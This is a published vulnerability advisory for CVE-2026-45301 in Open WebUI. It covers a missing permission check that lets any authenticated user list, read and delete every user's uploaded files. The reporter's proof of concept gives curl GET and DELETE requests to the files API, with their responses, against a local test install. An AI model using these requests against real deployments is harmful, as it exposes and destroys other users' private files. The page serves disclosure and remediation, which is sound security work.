CVE-2026-45301: Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file

Published May 14, 2026
·
Updated

Summary A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.

Details All files/ related endpoints lack permission checks.

Listing all files For example, let's see how file listing is implemented: https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110 https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26 Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' userid to the requesting user.

This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions: Accessing the content of any file https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193 Deleting any file https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241

PoC Configuration 1. I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop: docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama 2. I created an admin user 3. I created a second user to act as the threat actor with no elevated permissions 4. Admin user uploaded test.txt in a conversation with model 5. Admin user uploaded mydeepestsecret.docx in a conversation with model

Listing files uploaded by other users 1. Login to threat actor 2. Perform a GET request to /api/v1/files/ sh curl -X 'GET' \ 'http://localhost:3000/api/v1/files/' \ -H 'accept: application/json' json [ { "id": "b9733e9c-0714-4425-8915-d0361bf66dfc", "userid": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1", "filename": "b9733e9c-0714-4425-8915-d0361bf66dfctest.txt", "meta": { "name": "test.txt", "contenttype": "text/plain", "size": 4, "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfctest.txt" }, "createdat": 1724709202 }, { "id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98", "userid": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1", "filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98mydeepestsecret.docx", "meta": { "name": "mydeepestsecret.docx", "contenttype": "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "size": 6485, "path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98mydeepestsecret.docx" }, "createdat": 1724710236 } ]

Accessing other users' file content 1. Login to threat actor 2. Perform a GET request to /api/v1/files/{id}/content sh curl -X 'GET' \ 'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \ -H 'accept: application/json' wow

Deleting another user's uploaded file 1. Login to threat actor 2. Perform a DELETE request to /api/v1/files/{id} sh curl -X 'DELETE' \ 'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \ -H 'accept: application/json' json { "message": "File deleted successfully" } 3. We will verify this action by furthur listing all files as mentioned above: json [ { "id": "b9733e9c-0714-4425-8915-d0361bf66dfc", "userid": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1", "filename": "b9733e9c-0714-4425-8915-d0361bf66dfctest.txt", "meta": { "name": "test.txt", "contenttype": "text/plain", "size": 4, "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfctest.txt" }, "createdat": 1724709202 } ]

Impact Having access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.

Personal Notice In case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.

Thanks in advance and have a good week (:

Credits

This vulnerability was reported by Yuval Gal (GitHub: @vi11ain).

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.3.16, a missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform. This vulnerability is fixed in 0.3.16.

MITRE

Affected Software

2 affected componentsFixes available
pip/open-webui<=0.3.15
0.3.16
openwebui Open WebUI<0.3.16

Event History

May 14, 2026
Advisory Published
via GitHub·08:15 PM
Data Sourced
via GitHub·08:15 PM
DescriptionSeverityWeaknessAffected Software
May 15, 2026
CVE Published
via MITRE·09:19 PM
Data Sourced
via MITRE·09:19 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-45301?

The severity of CVE-2026-45301 is considered critical due to the potential for authenticated users to access, list, and delete files uploaded by other users.

2

How do I fix CVE-2026-45301?

To fix CVE-2026-45301, upgrade the 'open-webui' package to version 0.3.16 or later.

3

What impact does CVE-2026-45301 have on file security?

CVE-2026-45301 can lead to unauthorized file access and data loss as any authenticated user can manipulate files uploaded by others.

4

Who is affected by CVE-2026-45301?

Any user of the 'open-webui' package version 0.3.15 or earlier is affected by CVE-2026-45301.

5

Is there a workaround for CVE-2026-45301 until a fix is applied?

Currently, there are no recommended workarounds for CVE-2026-45301, and it is advised to update the package as soon as possible.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203